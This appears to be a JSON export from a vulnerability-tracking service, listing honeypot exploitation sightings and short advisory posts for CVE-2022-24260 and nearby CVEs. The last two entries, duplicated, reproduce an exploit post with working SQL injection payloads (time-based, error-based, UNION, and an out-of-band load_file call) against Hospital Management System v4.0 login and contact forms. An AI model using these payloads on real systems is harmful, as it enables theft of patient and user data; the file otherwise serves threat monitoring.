{"vulnerability": "CVE-2022-2426", "sightings": [{"uuid": "b0585981-088c-4f8e-8bcd-a4ff73c737e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "1e84e02c-407c-4ba8-96bd-772bb7e0d1af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-21)", "content": "", "creation_timestamp": "2025-02-21T00:00:00.000000Z"}, {"uuid": "cd5265ca-9bc0-494a-91c0-5be32d3a9825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-11)", "content": "", "creation_timestamp": "2025-07-11T00:00:00.000000Z"}, {"uuid": "a8c01816-a4ef-4f2e-a52b-6ea67646f272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-06)", "content": "", "creation_timestamp": "2025-06-06T00:00:00.000000Z"}, {"uuid": "d0103db9-c14e-4d0e-a4a7-4fd942538dca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-25)", "content": "", "creation_timestamp": "2025-07-25T00:00:00.000000Z"}, {"uuid": "8c1f5ce9-a347-489c-8cc6-63474b9e9166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-02)", "content": "", "creation_timestamp": "2025-12-02T00:00:00.000000Z"}, {"uuid": "9ddb5942-64f4-42d9-9fe3-53a9de42943d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "8193bf50-4f28-4f57-9d2f-40e1966d6a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-08)", "content": "", "creation_timestamp": "2025-12-08T00:00:00.000000Z"}, {"uuid": "df0369ec-c49d-46f9-9a65-8a68f4912197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-17)", "content": "", "creation_timestamp": "2026-02-17T00:00:00.000000Z"}, {"uuid": "c3d5667d-3b93-470e-a77a-eec9289b1f6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-02)", "content": "", "creation_timestamp": "2026-02-02T00:00:00.000000Z"}, {"uuid": "20e10eb5-ad01-422a-97f1-2dd8035487e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-07)", "content": "", "creation_timestamp": "2026-01-07T00:00:00.000000Z"}, {"uuid": "218b30ab-4e87-4197-b5d1-24b8aa5d934e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2426", "type": "seen", "source": "https://t.me/cibsecurity/47747", "content": "\u203c CVE-2022-2426 \u203c\n\nThe Thinkific Uploader WordPress plugin through 1.0.0 does not sanitise and escape its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks against other administrators.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-08T18:24:04.000000Z"}, {"uuid": "69096a16-f581-48d6-acd0-09b7a5702dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24264", "type": "seen", "source": "https://t.me/cibsecurity/36605", "content": "\u203c CVE-2022-24264 \u203c\n\nCuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/table_manager/ via the search_word parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T00:25:39.000000Z"}, {"uuid": "48ce04e6-63b2-4309-892d-13d6870349da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24263", "type": "seen", "source": "https://t.me/cibsecurity/36604", "content": "\u203c CVE-2022-24263 \u203c\n\nHospital Management System v4.0 was discovered to contain a SQL injection vulnerability in /Hospital-Management-System-master/func.php via the email parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T00:25:38.000000Z"}, {"uuid": "54293e1c-7dc9-40a7-b82a-fe2c5d711615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24262", "type": "seen", "source": "https://t.me/cibsecurity/36867", "content": "\u203c CVE-2022-24262 \u203c\n\nThe config restore function of Voipmonitor GUI before v24.96 does not properly check files sent as restore archives, allowing remote attackers to execute arbitrary commands via a crafted file in the web root.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-04T20:31:05.000000Z"}, {"uuid": "b90fafd4-ebcd-4762-b3d1-287ddcdab502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "seen", "source": "https://t.me/cibsecurity/36865", "content": "\u203c CVE-2022-24260 \u203c\n\nA SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-04T20:31:01.000000Z"}, {"uuid": "cc618d55-c313-4a48-8041-c79962b3916b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24266", "type": "seen", "source": "https://t.me/cibsecurity/36608", "content": "\u203c CVE-2022-24266 \u203c\n\nCuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/table_manager/ via the order_by parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T00:25:43.000000Z"}, {"uuid": "5f39171a-f435-4836-b75d-343eb20b5347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24265", "type": "seen", "source": "https://t.me/cibsecurity/36607", "content": "\u203c CVE-2022-24265 \u203c\n\nCuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/menu/ via the path=component/menu/&menu_filter=3 parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T00:25:42.000000Z"}, {"uuid": "47f3e375-e879-4f5d-aedd-b32fd897ae44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-26)", "content": "", "creation_timestamp": "2026-05-26T00:00:00.000000Z"}, {"uuid": "5c451e8d-187f-4e69-8791-87398d2d7332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-11)", "content": "", "creation_timestamp": "2026-08-12T10:15:11.390213Z"}, {"uuid": "0b726545-0a73-4af3-b515-374068b101c3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/04d1c923-11d4-4b87-8528-2c215c2b3a20", "content": "", "creation_timestamp": "2026-06-19T12:46:12.868915Z"}, {"uuid": "bb25ca1f-f2d6-497d-a8b4-6843fe32fc0c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/02bcf96c-a56a-463e-9164-bf2af7d60a8d", "content": "", "creation_timestamp": "2026-06-23T14:03:36.193128Z"}, {"uuid": "005eb276-9bce-4fd7-81d2-1cfb539560fb", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-24260", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4c0517e1-b7bc-4d53-9884-bed66753d96e", "content": "", "creation_timestamp": "2026-06-30T09:23:10.751303Z"}, {"uuid": "79059bb2-a849-422d-99b4-360ef92da386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24263", "type": "seen", "source": "https://t.me/hacking_Attack/41887", "content": "Exploit Collector\nHospital Management System 4.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png \nHospital Management System version 4.0 suffers from multiple remote SQL injection vulnerabilities. Original discovered of SQL injection in this version is attributed to Metin Yunus Kandemir in January of 2020.\n\nMD5 | fecde691e84e5dd271b20b214d542874\n\nDownload\n## Title: Hospital Management System v4.0 Multiple SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.06.2022\n## Vendor: https://github.com/kishan0725\n## Software: https://github.com/kishan0725/Hospital-Management-System\n## CVE-2022-24263\n## Description:\nThe Hospital Management System v4.0 is suffering from Multiple\nSQL-Injections via three parameters in function.php,  contact.php, and\nfunc3.php applications.\nThe attacker can be receiving the all information from the system by\nusing this vulnerability, and also the malicious actor can use\nsensitive information from the customers of this system.\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: txtName (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: txtName=821761' AND (SELECT 9346 FROM\n(SELECT(SLEEP(3)))HJGv) AND\n'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select\nload_file('\\\\\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\\\hgq'))+'&btnSubmit=Send\nMessage&txtMsg=441931\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)\nOR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN\n1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)\nUNION ALL SELECT\n8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY\nCONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0\nEND)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT\nCONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263)\n\n## Proof and Exploit:\n[href](https://streamable.com/m4hnm1)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:56.687861Z"}, {"uuid": "8c708122-adf1-49b6-8ba8-c68b21f63ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24263", "type": "seen", "source": "https://t.me/hacking_Attack/41887", "content": "Exploit Collector\nHospital Management System 4.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png \nHospital Management System version 4.0 suffers from multiple remote SQL injection vulnerabilities. Original discovered of SQL injection in this version is attributed to Metin Yunus Kandemir in January of 2020.\n\nMD5 | fecde691e84e5dd271b20b214d542874\n\nDownload\n## Title: Hospital Management System v4.0 Multiple SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.06.2022\n## Vendor: https://github.com/kishan0725\n## Software: https://github.com/kishan0725/Hospital-Management-System\n## CVE-2022-24263\n## Description:\nThe Hospital Management System v4.0 is suffering from Multiple\nSQL-Injections via three parameters in function.php,  contact.php, and\nfunc3.php applications.\nThe attacker can be receiving the all information from the system by\nusing this vulnerability, and also the malicious actor can use\nsensitive information from the customers of this system.\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: txtName (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: txtName=821761' AND (SELECT 9346 FROM\n(SELECT(SLEEP(3)))HJGv) AND\n'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select\nload_file('\\\\\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\\\hgq'))+'&btnSubmit=Send\nMessage&txtMsg=441931\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)\nOR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN\n1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)\nUNION ALL SELECT\n8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY\nCONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0\nEND)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT\nCONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263)\n\n## Proof and Exploit:\n[href](https://streamable.com/m4hnm1)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:17.997087Z"}]}